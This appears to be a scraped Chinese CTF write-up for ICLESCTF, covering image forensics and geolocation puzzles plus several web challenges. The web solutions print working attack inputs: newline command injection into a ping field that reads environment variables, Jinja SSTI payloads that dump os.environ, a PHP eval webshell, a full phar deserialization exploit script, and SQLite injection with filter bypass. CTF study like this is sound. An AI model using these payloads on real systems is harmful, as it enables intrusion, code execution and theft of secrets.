当前位置: 首页 > news >正文

ICLESCTF-web-misc-wp

misc

misc1

查看源码gif取证,那就是分析那一gif图片了,随波逐流直接gif分帧查看,在cc翻到

misc2 

此题乍一看不知道考啥,仔细分析一下只有一张图片,也只能考图片隐写了,另存为010打开,看到敏感base64字符,解密得到fllag

misc3 

首先注意审题,不然有得受的。

图片打开,信息太多了,直接百度地图搜索珠江城。 

开全景一看,没错了,看到了广州银行与创兴银行 

大致位置确定了,接下来就是找这个视角位置,首先这视角珠江城前方,且很高。 百度识图一下,发现小红书提到四季酒店,高德地图一看,有可能,试一下果然是

flag{广东省-广州市-天河区-珠江新城珠江西路-5号} 

web

ping_server

直接抓环境变量env

还有高手直接盲抓一手环境里的变量$FLAG 

 ssti也能打,不过还是抓环境127.0.0.1%0a{{lipsum.__globals__.os.environ}}

 127.0.0.1%0acat /proc/self/environ(利用proc读环境)

Proc 目录在 CTF 中的利用-安全KER - 安全资讯平台 

当然也可以printenv

printenv命令 – 显示系统环境变量与值 – Linux命令大全(手册)

template_injection

首先fuzz一下,发现386的长度的被过滤

这里关键词绕过还好,主要是这个()与[]被过滤了就很难受,那只能利用os读环境变量了

name={{lipsum.__globals__.os.environ}}

upload-difficult

非预期

上传一句话木马<?php eval($_REQUEST['1']);?>,然后直接找flag即可

 

预期解法 

上传一句话木马后,发现了classes.php

<?php
class FileProcessor {
    private $handler;
    
    public function __destruct() {
        $this->handler->cleanup();
    }
}

class TempFileHandler {
    public $filename;
    
    public function cleanup() {
        // 触发__toString的关键点
        echo "Cleaning: " . $this->filename . "<br>";
        if (file_exists((string)$this->filename)) {
            unlink((string)$this->filename);
        }
    }
}

class Logger {
    private $log_content;
    
    public function __toString() {
        $flag = getenv('FLAG');
        return base64_encode($flag);
    }
}

class DatabaseConnection {
    // 保留混淆类
    public $query;
    
    public function execute() {
        new PDO('sqlite::memory:');
        return "Executed: ".$this->query;
    }
}

就是打一个phar反序列化。

<?php
class FileProcessor {
    public  $handler;
    
    public function __destruct() {
        $this->handler->cleanup();
    }
}

class TempFileHandler {
    public $filename;
    
    public function cleanup() {
        // 触发__toString的关键点
        echo "Cleaning: " . $this->filename . "<br>";
        if (file_exists((string)$this->filename)) {
            unlink((string)$this->filename);
        }
    }
}

class Logger {
    private $log_content;
    public function __toString() {
        $flag = getenv('FLAG');
        return base64_encode($flag);
    }
}

class DatabaseConnection {
    // 保留混淆类
    public $query;
    
    public function execute() {
        new PDO('sqlite::memory:');
        return "Executed: ".$this->query;
    }
}
$a=new FileProcessor();
$a->handler=new TempFileHandler();
$a->handler->filename=new Logger();

$phar = new Phar("iclesctf.phar"); // 创建一个名为 iclesctf.phar 的 Phar 文件
$phar->startBuffering();       // 开始缓冲,以允许修改 Phar 文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置 Phar 文件的存根(Stub),防止被误认为普通 PHP 脚本
$phar->setMetadata($a);   // 将 Chunqiu 对象作为元数据存储在 Phar 文件中
$phar->addFromString("exp.txt", "test"); // 向 Phar 文件中添加一个名为 exp.txt 的文件,内容为 "test"
$phar->stopBuffering(); 
?>

配置看配环境小记之phar.readonly=Off坑_uncaught unexpectedvalueexception: creating archiv-CSDN博客 

 ezsql

直接打万能密码,发现在password有sql注入 (过滤了or,直接大小写绕过)

看列数(过滤了一些关键词,与空格)

看回显点在2. 

 

这题看似sql,其实是sqlite. 

 SQLite sqlite_master_sqlite master-CSDN博客

 

相关文章:

  • 小程序配置webview
  • 用栈实现队列 用队列实现栈
  • 《Windows 文件命名规则与 Python 日志文件生成技巧》
  • . 从理论到实践:小红书、京东如何玩转大模型
  • Go Ebiten小游戏开发:俄罗斯方块
  • 【Linux网络(一)】初识网络
  • 使用外挂工具,在教师资格面试抽题系统中自动填入身份证号
  • git文件过大导致gitea仓库镜像推送失败问题解决(push failed: context deadline exceeded)
  • ragflow-组件可视化工具 es默认用户名elastic
  • git pull报错
  • 【AI大模型智能应用】Deepseek生成测试用例
  • Redis分布式锁
  • [Java]使用java进行JDBC编程
  • 大规模语言模型的涌现能力
  • linux和windows之间的复制
  • AI+Python机器学习小项目教程(数据分类)
  • JAVA面试_进阶部分_正确使用 Volatile 变量
  • Web Workers 客户端 + 服务端应用
  • Python编程学习13条Python2.x和3.x的区别?
  • 【odoo17】odoo前端视图的结构分析及新增视图类型的实现
  • 写网站的教程/天津seo推广优化
  • 网络规划设计师和网络工程师/搜索引擎优化面对哪些困境
  • 做网站网页的工作怎么样/网站建设的意义和作用
  • 佛山市做网站的公司/网络推广发展
  • 写作网站vir/北京网站优化托管
  • 做网站什么笔记本好用/发布外链的平台有哪些